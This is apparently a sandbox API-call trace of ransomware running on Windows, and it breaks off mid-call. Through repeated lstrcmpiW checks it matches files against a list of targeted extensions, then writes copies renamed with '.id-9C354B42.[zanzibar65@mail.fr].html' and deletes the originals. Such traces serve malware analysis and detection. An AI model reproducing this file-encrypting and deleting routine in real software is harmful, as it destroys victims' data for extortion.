[0036.426] lstrlenW (lpString=".xls") returned 4 [0036.426] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0036.426] lstrlenW (lpString=".xlsx") returned 5 [0036.426] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0036.426] lstrlenW (lpString=".ppt") returned 4 [0036.426] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0036.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0036.426] lstrlenW (lpString=".zip") returned 4 [0036.426] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0036.426] lstrlenW (lpString=".rar") returned 4 [0036.426] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0036.426] lstrlenW (lpString=".bz2") returned 4 [0036.426] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0036.426] lstrlenW (lpString=".7z") returned 3 [0036.426] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0036.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0036.427] lstrlenW (lpString=".dbf") returned 4 [0036.427] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0036.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0036.427] lstrlenW (lpString=".1cd") returned 4 [0036.427] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0036.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0036.427] lstrlenW (lpString=".jpg") returned 4 [0036.427] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0036.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0036.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0036.427] lstrlenW (lpString=".doc") returned 4 [0036.427] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0036.427] lstrlenW (lpString=".docx") returned 5 [0036.427] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0036.427] lstrlenW (lpString=".pdf") returned 4 [0036.427] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0036.427] lstrlenW (lpString=".xls") returned 4 [0036.427] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0036.427] lstrlenW (lpString=".xlsx") returned 5 [0036.427] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0036.427] lstrlenW (lpString=".ppt") returned 4 [0036.427] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0036.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0036.427] lstrlenW (lpString=".zip") returned 4 [0036.427] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0036.427] lstrlenW (lpString=".rar") returned 4 [0036.427] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0036.427] lstrlenW (lpString=".bz2") returned 4 [0036.427] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0036.427] lstrlenW (lpString=".7z") returned 3 [0036.427] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0036.428] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0036.428] lstrlenW (lpString=".dbf") returned 4 [0036.428] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0036.428] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0036.428] lstrlenW (lpString=".1cd") returned 4 [0036.428] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0036.428] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0036.428] lstrlenW (lpString=".jpg") returned 4 [0036.428] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0036.428] lstrcmpiW (lpString1=".avi", lpString2=".html") returned -1 [0036.428] lstrlenW (lpString="boxed-join.avi") returned 14 [0036.428] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0036.428] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=33280) returned 1 [0036.428] CloseHandle (hObject=0x198) returned 1 [0036.428] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi")) returned 0x20 [0036.428] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0036.428] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0036.429] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0036.429] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0036.429] lstrlenW (lpString=".doc") returned 4 [0036.429] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0036.429] lstrlenW (lpString=".docx") returned 5 [0036.429] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0036.429] lstrlenW (lpString=".pdf") returned 4 [0036.429] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0036.429] lstrlenW (lpString=".xls") returned 4 [0036.429] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0036.429] lstrlenW (lpString=".xlsx") returned 5 [0036.429] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0036.429] lstrlenW (lpString=".ppt") returned 4 [0036.429] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0036.429] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0036.429] lstrlenW (lpString=".zip") returned 4 [0036.429] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0036.429] lstrlenW (lpString=".rar") returned 4 [0036.429] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0036.429] lstrlenW (lpString=".bz2") returned 4 [0036.429] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0036.429] lstrlenW (lpString=".7z") returned 3 [0036.429] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0036.429] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0036.429] lstrlenW (lpString=".dbf") returned 4 [0036.429] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0036.429] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0036.429] lstrlenW (lpString=".1cd") returned 4 [0036.429] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0036.429] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0036.429] lstrlenW (lpString=".jpg") returned 4 [0036.429] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0036.429] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0036.430] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0036.430] lstrlenW (lpString=".doc") returned 4 [0036.430] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0036.430] lstrlenW (lpString=".docx") returned 5 [0036.430] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0036.430] lstrlenW (lpString=".pdf") returned 4 [0036.430] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0036.430] lstrlenW (lpString=".xls") returned 4 [0036.430] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0036.430] lstrlenW (lpString=".xlsx") returned 5 [0036.430] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0036.430] lstrlenW (lpString=".ppt") returned 4 [0036.430] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0036.430] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0036.430] lstrlenW (lpString=".zip") returned 4 [0036.430] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0036.430] lstrlenW (lpString=".rar") returned 4 [0036.430] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0036.430] lstrlenW (lpString=".bz2") returned 4 [0036.430] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0036.430] lstrlenW (lpString=".7z") returned 3 [0036.430] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0036.430] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0036.430] lstrlenW (lpString=".dbf") returned 4 [0036.430] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0036.430] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0036.430] lstrlenW (lpString=".1cd") returned 4 [0036.430] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0036.430] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0036.430] lstrlenW (lpString=".jpg") returned 4 [0036.430] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0036.431] lstrcmpiW (lpString1=".avi", lpString2=".html") returned -1 [0036.431] lstrlenW (lpString="boxed-split.avi") returned 15 [0036.431] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0036.431] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=62976) returned 1 [0036.431] CloseHandle (hObject=0x198) returned 1 [0036.431] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi")) returned 0x20 [0036.431] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0036.431] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0036.431] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0036.431] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0036.431] lstrlenW (lpString=".doc") returned 4 [0036.431] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0036.431] lstrlenW (lpString=".docx") returned 5 [0036.431] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0036.431] lstrlenW (lpString=".pdf") returned 4 [0036.431] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0036.431] lstrlenW (lpString=".xls") returned 4 [0036.431] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0036.431] lstrlenW (lpString=".xlsx") returned 5 [0036.431] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0036.431] lstrlenW (lpString=".ppt") returned 4 [0036.432] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0036.432] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0036.432] lstrlenW (lpString=".zip") returned 4 [0036.432] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0036.432] lstrlenW (lpString=".rar") returned 4 [0036.432] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0036.432] lstrlenW (lpString=".bz2") returned 4 [0036.432] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0036.432] lstrlenW (lpString=".7z") returned 3 [0036.432] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0036.432] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0036.432] lstrlenW (lpString=".dbf") returned 4 [0036.432] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0036.435] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0 [0037.306] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruklm.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruklm.dat.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0 [0037.307] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruksh.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruksh.dat.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0 [0037.307] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0 [0037.308] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0 [0038.083] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0038.083] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0038.083] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmui.xml.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0038.084] GetLastError () returned 0x0 [0038.084] ReadFile (in: hFile=0x1c8, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x545, lpOverlapped=0x0) returned 1 [0038.085] WriteFile (in: hFile=0x1cc, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x550, lpOverlapped=0x0) returned 1 [0038.086] ReadFile (in: hFile=0x1c8, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0038.086] WriteFile (in: hFile=0x1cc, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xee, lpOverlapped=0x0) returned 1 [0038.086] SetEndOfFile (hFile=0x1cc) returned 1 [0038.086] CloseHandle (hObject=0x1cc) returned 1 [0038.087] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0038.087] SetEndOfFile (hFile=0x1c8) returned 1 [0038.088] CloseHandle (hObject=0x1c8) returned 1 [0038.088] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0038.088] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmui.xml")) returned 1 [0038.088] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0038.088] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0038.088] lstrlenW (lpString=".doc") returned 4 [0038.088] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0038.088] lstrlenW (lpString=".docx") returned 5 [0038.088] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0038.088] lstrlenW (lpString=".pdf") returned 4 [0038.088] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0038.088] lstrlenW (lpString=".xls") returned 4 [0038.088] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0038.088] lstrlenW (lpString=".xlsx") returned 5 [0038.089] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0038.089] lstrlenW (lpString=".ppt") returned 4 [0038.089] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0038.089] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0038.089] lstrlenW (lpString=".zip") returned 4 [0038.089] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0038.089] lstrlenW (lpString=".rar") returned 4 [0038.089] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0038.089] lstrlenW (lpString=".bz2") returned 4 [0038.089] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0038.089] lstrlenW (lpString=".7z") returned 3 [0038.089] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0038.089] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0038.089] lstrlenW (lpString=".dbf") returned 4 [0038.089] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0038.089] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0038.089] lstrlenW (lpString=".1cd") returned 4 [0038.089] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0038.089] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0038.089] lstrlenW (lpString=".jpg") returned 4 [0038.089] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0038.089] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0038.089] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0038.089] lstrlenW (lpString=".doc") returned 4 [0038.089] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0038.089] lstrlenW (lpString=".docx") returned 5 [0038.089] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0038.089] lstrlenW (lpString=".pdf") returned 4 [0038.089] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0038.089] lstrlenW (lpString=".xls") returned 4 [0038.089] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0038.089] lstrlenW (lpString=".xlsx") returned 5 [0038.089] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0038.090] lstrlenW (lpString=".ppt") returned 4 [0038.090] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0038.090] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0038.090] lstrlenW (lpString=".zip") returned 4 [0038.090] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0038.090] lstrlenW (lpString=".rar") returned 4 [0038.090] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0038.090] lstrlenW (lpString=".bz2") returned 4 [0038.090] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0038.090] lstrlenW (lpString=".7z") returned 3 [0038.090] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0038.090] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0038.090] lstrlenW (lpString=".dbf") returned 4 [0038.090] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0038.090] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0038.090] lstrlenW (lpString=".1cd") returned 4 [0038.090] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0038.090] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0038.090] lstrlenW (lpString=".jpg") returned 4 [0038.090] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0038.141] lstrcmpiW (lpString1=".XML", lpString2=".html") returned 1 [0038.141] lstrlenW (lpString="SETUP.XML") returned 9 [0038.141] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0038.142] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=2624) returned 1 [0038.142] CloseHandle (hObject=0x1cc) returned 1 [0038.142] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml")) returned 0x20 [0038.142] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0038.142] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0038.142] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0038.142] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0038.142] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0038.142] GetLastError () returned 0x0 [0038.142] ReadFile (in: hFile=0x1cc, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0xa40, lpOverlapped=0x0) returned 1 [0038.144] WriteFile (in: hFile=0x1d0, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xa50, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xa50, lpOverlapped=0x0) returned 1 [0038.145] ReadFile (in: hFile=0x1cc, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0038.145] WriteFile (in: hFile=0x1d0, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0038.145] SetEndOfFile (hFile=0x1d0) returned 1 [0038.145] CloseHandle (hObject=0x1d0) returned 1 [0038.146] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, 